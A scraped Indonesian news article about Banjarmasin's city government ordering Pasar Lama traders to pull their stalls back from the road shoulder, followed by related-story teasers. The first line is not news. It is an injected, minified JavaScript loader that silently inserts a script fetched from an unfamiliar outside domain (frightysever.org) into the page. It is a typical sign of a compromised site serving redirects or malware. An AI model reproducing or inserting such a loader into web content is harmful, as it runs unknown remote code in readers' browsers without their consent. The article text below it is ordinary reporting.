(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah pedagang yang berjualan di Pasar Lama Banjarmasin tepatnya di Jalan Pasar Lama Laut Kota Banjarmasin bakal terkena imbas normalisasi pasar oleh Pemerintah Kota (Pemko) Banjarmasin.
Bahu jalan yang dijadikan lapak pedagang menggelar dagangan bakal ditertibkan lantaran ‘memakan’sebagian jalan.
Penertiban sebagian bangunan itu agar akses jalan yang menghubungkan Jembatan Pasar Lama ke arah Sungai Jingah atau Jalan Sulawesi dapat dilalui dengan nyaman oleh pengendara.
Baca juga: Ini Penyebab Utama Crossing Drainase di Karang Anyar 1 Sering Berlubang
Bukan dengan menggusur atau memindahkan pedagang ke lokasi baru, Pemko Banjarmasin meminta para pedagang di Pasar Lama mundur dari badan jalan. Meski rencana awalnya ingin memindahkan lapak pedagang ke bagian dalam Pasar Lama.
Sosialisasi telah dilakukan sejak beberapa waktu terakhir. Terbaru, Senin (20/5/2024) siang, Wali Kota Banjarmasin Ibnu Sina bersama jajaran melakukan peninjauan langsung ke Pasar Lama yang akan dinormaliasi.
Sekaligus memberikan surat peringatan kedua (SP2) bagi pemilik lapak yang masih ‘memakan’ bahu jalan.
“Hari ini surat peringatan kedua (SP2) agar proses normalisasi Pasar Lama ini bisa berjalan dengan baik. Hari kamis nanti SP3,” tegas Ibnu Sina usai meninjau lokasi pasar, Senin (20/5/2024) siang.
Baca juga: Dirut PLN Tinjau Posko Utama Kelistrikan KTT WWF, Pastikan Sistem Kelistrikan di Bali Andal
Rencananya dalam sepekan kedepan pada Senin (27/5/2024), bangunan yang berada di bahu jalan tersebut, kata Wali Kota akan dilakukan penertiban secara keseluruhan, dan jalan Pasar Lama Laut akan berfungsi seperti semestinya.
Dirinya meminta kepada Satpol PP dan Dinas Perhubungan Kota Banjarmasin di lapangan, termasuk RT dan RW agar menyampaikan imbauan normalisasi tersebut dengan baik, yaitu secara persuasif dan humanis kepada para pedagang.
“Ini gasan (Untuk, red) kebaikan kita jua barataan, karena aslinya fungsi itu adalah fungsi jalan, selama ini masyarakat dan para pedagang mengambil jalan yang sangat vital untuk berjualan, makanya harus mundur kiri kanan semuanya,” beber Wali Kota.
Ibnu Sina berharap, proses normalisasi pasar dapat berjalan lancar tanpa ada kendala atau penolak dari pedagang. Sehingga, Jalan Pasar Lama Laut tersebut dapat berfungsi seperti semula menjadi akses lalu lintas yang menghubungkan Jalan Sulawesi dan Sungai Jingah. Termasuk dapat mengurai kemacetan yang sering terjadi di perempatan Pasar Lama.
“Karena Jalan Sulawesi itu perempatan lampu merah, kadang-kadang terjadi kemacetan karena akses jalan yang sempit,” pungkasnya.
Pantauan kanalkalimantan.com Senin (20/5/2024) siang, para pedagang di jalan Pasar Lama Laut sudah memundurkan lapak dagangan mereka yang semula memakan sebagian badan jalan. Jalan yang dulunya penuh dengan lapak pedagang di kiri kanan jalan, terlihat lebih lapang.
Pengendara sepeda motor yang lewat pun tak lagi perlu menurunkan kaki ke aspal, sebab tak ada lagi kemacetan atau jalan tersendat akibat penyempitan jalan. (Kanalkalimantan.com/rizki)
Reporter rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.